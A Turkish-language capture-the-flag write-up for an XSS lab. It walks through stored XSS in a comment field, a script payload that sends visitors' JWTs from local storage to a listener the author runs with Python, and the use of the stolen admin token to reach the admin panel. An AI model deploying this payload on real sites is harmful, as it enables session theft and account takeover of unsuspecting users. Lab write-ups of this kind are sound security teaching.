Bu senaryoda bir XSS zaafiyetli lab ortamı olan Xss VulnLab senaryosunu ele alacağız. Sayfaya açtığımızda bir giriş sayfası ile karşılaşıyoruz.İster CTF yöneticisinin bize vermiş olduğu bilgilerden ister test hesabı üzerinden sisteme giriş yapıyoruz.
Ana sayfada yorumlar ekleyebileceğimiz bir sayfa karşımıza çıkıyor. Burada yorumlar kısmına ekleyebileceğimiz bir script tagı o mesajı gören her cihazda çalıştırlabilirse bu zaafiyeti istismar edebiliriz. Bunun için siteden bir alert alabilirmiyiz öncellikle bunu kontrol edelim.
Bingo!! yorum olarak eklediğimiz script tagı bu sayfayı gören her taraycıda çalışıyor. Şimdi sıra geldi bu zaafiyet üzerinden önemli birligler toplamaya bunun için oturumların nasıl tutulduğuna bir göz atalım.
Website oturumları yönetmek için JWT token kullandığını ve bu tokeni local storage de tuttuğunu görmüş olduk. Amacımız bu tokenı alıp hazırladığımız bir web sunucusuna gönderen bir script yazmak.Bunun için önce pyhton ile bir sunucu açıyorum script bulmuş olduğu tokenları bu sunucuya gönderecek.
Tabiki bir diğer seçenek olarak da webhook.site kullanılabilir.
python3 -m http.server 8000
Bu kodu terminalde çalıştıdğımızda(python3 yüklü olması gerek) bilgisayarımız 8000 portu üzerinden gelen istekleri takip etmekte şimdi ise şu kodu yorum olarak siteye ekleyelim
<script>new Image().src="http://localhost:8000?token="+localStroge.token</script>
Bu kod ile de local storage de bulunan tokanı alıp hedef ip adresindeki hedef porta gönderecek.Bu scripti yorum olarak gönderdiğimizde bu sayfa da yorumlar her yüklendiğinde bu script de çalışacak ve kullanıcının jwt tokenini istediğimiz şekilde yönlendirip ele geçirmiş olacağiz.
Ve tokenlar yerel sunucumuza gelmeye başladı. CTF ortamında hangi bu sayfa 100 ce kez açılmış olabilir çok fazla token elde etmiş de olabiliriz. Ama çözüme gitmek için admin yetkisinde bir hesaba ihityacımız var bundan dolayı jwt üzerinde ki payloadları görebilmek için webhook.site sitesini kullanabiliriz. Bu site tokenlar hakkında bilgi verebilir. Admin kullanıcısını bulduğumuzda bu tokeni local storage manuel olarak yapıştırabiliriz.Sayfayı yenilediğimiz de istek artık admin kullanıcısın tokeni olarak gidecek ve o kullanıcı gibi düzenlemeler yapabileceğiz.
Nihayet yönetici paneline giriş yaptığımız da ctf bizi karşılıyor